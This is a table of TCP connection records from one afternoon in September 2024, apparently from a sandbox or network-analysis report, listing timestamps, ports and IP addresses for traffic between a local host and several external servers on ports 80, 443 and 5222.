Sep 30, 2024 12:20:52.294019938 CEST	49866	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.295655012 CEST	80	49870	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.295728922 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.295912981 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.299634933 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.301352978 CEST	80	49870	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.301419973 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.306246042 CEST	80	49870	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.364708900 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.397371054 CEST	49871	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.400177002 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.400224924 CEST	443	49872	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.400753975 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.401957989 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.401973009 CEST	443	49872	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.403266907 CEST	49873	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.407413006 CEST	443	49868	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.478961945 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.479012012 CEST	443	49874	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.479074001 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.480545998 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.480571032 CEST	443	49874	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.507014036 CEST	49875	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.507298946 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.510842085 CEST	49876	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.511006117 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.511051893 CEST	443	49877	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.511231899 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.512367010 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.512382984 CEST	443	49877	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.513884068 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.547410011 CEST	443	49872	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.559184074 CEST	80	49845	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.559309959 CEST	80	49848	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.559406996 CEST	49845	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.559442997 CEST	49848	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.559786081 CEST	5222	49871	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.559815884 CEST	80	49873	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.559844017 CEST	5222	49875	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.559854031 CEST	5222	49876	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.559874058 CEST	49871	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.559875965 CEST	80	49878	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.559902906 CEST	49873	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.559915066 CEST	49875	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.559917927 CEST	49876	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.559940100 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.560282946 CEST	49876	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.560688972 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.562128067 CEST	443	49867	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.562192917 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.562192917 CEST	49867	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.565083981 CEST	5222	49876	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.565474033 CEST	80	49878	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.565521002 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.570369959 CEST	80	49878	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.586838007 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.600440025 CEST	80	49852	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.601085901 CEST	49852	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.618673086 CEST	49876	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.618841887 CEST	49878	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.619190931 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.622796059 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.622840881 CEST	443	49879	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.623018980 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.624208927 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.624237061 CEST	443	49879	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.626480103 CEST	49880	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.629173994 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.631371021 CEST	5222	49880	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.631398916 CEST	443	49874	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.631463051 CEST	49880	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.631692886 CEST	49880	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.634018898 CEST	80	49881	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.634087086 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.634994030 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.636431932 CEST	5222	49880	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.639813900 CEST	80	49881	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.639892101 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.645406008 CEST	80	49881	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.659416914 CEST	443	49877	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.664834023 CEST	80	49878	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.664849043 CEST	5222	49876	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.704303026 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.704335928 CEST	443	49882	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.704547882 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.705703974 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.705718040 CEST	443	49882	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.708086014 CEST	80	49855	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.708165884 CEST	49855	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.730662107 CEST	49880	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.731254101 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.731946945 CEST	49881	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:52.735611916 CEST	443	49868	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.735676050 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.735690117 CEST	49868	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.741276979 CEST	49883	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.746124983 CEST	5222	49883	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.747013092 CEST	49883	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.771409988 CEST	443	49879	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.776834965 CEST	5222	49880	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.784766912 CEST	80	49881	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:52.788619041 CEST	49883	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.792011023 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.792058945 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.792066097 CEST	443	49884	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.792129993 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.793472052 CEST	5222	49883	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.797607899 CEST	49870	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.798767090 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.799489021 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.799510956 CEST	443	49884	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.803694010 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.804117918 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.808969975 CEST	80	49885	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.809037924 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.809767962 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.810167074 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.814646006 CEST	80	49885	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.814713001 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.819423914 CEST	80	49885	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.824553013 CEST	49883	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.824775934 CEST	49885	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.825001955 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.825306892 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.828828096 CEST	49886	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.829411983 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.829432964 CEST	443	49887	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.829497099 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.829762936 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.831150055 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.831165075 CEST	443	49887	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.831840992 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.833592892 CEST	5222	49886	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.834448099 CEST	49886	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.834781885 CEST	49886	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.836627007 CEST	80	49888	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.836704016 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.836884022 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.839535952 CEST	5222	49886	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.841613054 CEST	80	49888	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.841665030 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.844765902 CEST	80	49870	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.846491098 CEST	80	49888	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.851402998 CEST	443	49882	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.869693995 CEST	80	49859	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.869750977 CEST	49859	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:52.871407032 CEST	443	49884	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.876857996 CEST	80	49885	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.876872063 CEST	5222	49883	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:52.904603004 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.908956051 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.909786940 CEST	5222	49869	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.910581112 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.910623074 CEST	49869	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.913794994 CEST	5222	49889	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.913877964 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.914243937 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.915424109 CEST	80	49890	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.915851116 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.916055918 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.919049978 CEST	5222	49889	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.920814037 CEST	80	49890	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.920945883 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.923285007 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.923345089 CEST	443	49891	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.923567057 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.924532890 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:52.924561977 CEST	443	49891	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:52.925731897 CEST	80	49890	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.935525894 CEST	49886	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.935723066 CEST	49888	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.936090946 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.938770056 CEST	49892	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.939023972 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.939049959 CEST	443	49893	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.939111948 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.940133095 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:52.940152884 CEST	443	49893	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.941078901 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.941951036 CEST	80	49862	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.942008972 CEST	49862	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:52.943567991 CEST	5222	49892	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.943635941 CEST	49892	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.943865061 CEST	49892	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.945898056 CEST	80	49894	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.945959091 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.946127892 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.946469069 CEST	5222	49876	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:52.946520090 CEST	49876	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:52.948616982 CEST	5222	49892	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.950864077 CEST	80	49894	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.950918913 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:52.955698013 CEST	80	49894	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:52.979424000 CEST	443	49887	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:52.980799913 CEST	80	49888	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:52.980811119 CEST	5222	49886	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.002667904 CEST	5222	49880	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.002737045 CEST	49880	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.010284901 CEST	443	49877	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.010377884 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.010411024 CEST	49877	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.011099100 CEST	443	49872	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.011157036 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.011157036 CEST	49872	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.013051033 CEST	443	49874	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.013113976 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.013133049 CEST	49874	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.030786037 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.046771049 CEST	49892	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.047291994 CEST	49894	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.047889948 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.050388098 CEST	49895	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.052280903 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.052517891 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.052555084 CEST	443	49897	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.052618980 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.053708076 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.053720951 CEST	443	49897	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.055192947 CEST	5222	49895	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.055337906 CEST	49895	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.055582047 CEST	49895	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.057013988 CEST	80	49896	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.057077885 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.057261944 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.060324907 CEST	5222	49895	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.061991930 CEST	80	49896	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.062047958 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.066793919 CEST	80	49896	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.075402975 CEST	443	49891	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.079005003 CEST	443	49879	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.079080105 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.079118013 CEST	49879	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.091401100 CEST	443	49893	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.092813969 CEST	80	49894	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.092828035 CEST	5222	49892	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.114742994 CEST	80	49865	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.114825010 CEST	49865	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.117177963 CEST	5222	49883	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.117247105 CEST	49883	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.146579981 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.146609068 CEST	443	49898	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.146703959 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.148777008 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.148787975 CEST	443	49898	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.160092115 CEST	49895	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.160315037 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.161956072 CEST	49896	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.162890911 CEST	443	49882	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.162976027 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.162998915 CEST	49882	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.167618990 CEST	49899	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.170928001 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.170944929 CEST	443	49900	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.171035051 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.172418118 CEST	5222	49899	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.172529936 CEST	49899	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.172873020 CEST	49899	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.174283981 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.174299002 CEST	443	49900	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.177351952 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.177659035 CEST	5222	49899	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.182167053 CEST	80	49901	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.182230949 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.182653904 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.187478065 CEST	80	49901	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.187527895 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.192337990 CEST	80	49901	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.203408957 CEST	443	49897	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.208739996 CEST	80	49896	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.208750963 CEST	5222	49895	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.220746040 CEST	5222	49886	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.220803022 CEST	49886	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.255120039 CEST	49898	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.255882025 CEST	443	49884	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.255964994 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.255964994 CEST	49884	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.271748066 CEST	49899	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.272108078 CEST	49900	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.273055077 CEST	49901	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:53.278306961 CEST	49902	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.283277035 CEST	5222	49902	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.283402920 CEST	49902	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.283699989 CEST	49902	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.283926964 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.283952951 CEST	443	49903	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.284079075 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.285784960 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.285794973 CEST	443	49903	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.287781954 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.288427114 CEST	5222	49902	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.292548895 CEST	80	49904	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.292633057 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.292867899 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.294931889 CEST	443	49887	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.295003891 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.295025110 CEST	49887	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.297600031 CEST	80	49904	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.297662020 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.299411058 CEST	443	49898	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.302566051 CEST	80	49904	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.316795111 CEST	5222	49899	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.319411993 CEST	443	49900	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.320730925 CEST	80	49901	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:53.328545094 CEST	5222	49892	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:53.328628063 CEST	49892	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:53.389314890 CEST	443	49891	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:53.389431953 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.389475107 CEST	49891	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:53.398871899 CEST	5222	49889	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.415431023 CEST	443	49893	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.415607929 CEST	443	49893	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.415612936 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.415612936 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.416393042 CEST	49893	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.427953959 CEST	49902	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.428457975 CEST	49904	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:53.429162979 CEST	49890	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.429518938 CEST	49903	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.432562113 CEST	5222	49895	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:53.432645082 CEST	49895	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:53.449354887 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.471419096 CEST	443	49903	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.476804018 CEST	80	49890	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:53.476824045 CEST	80	49904	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.476834059 CEST	5222	49902	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:53.521919966 CEST	443	49897	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:53.521997929 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.522017002 CEST	49897	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:53.557347059 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.557511091 CEST	49889	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:53.560214043 CEST	5222	49899	66.228.63.21	192.168.2.5
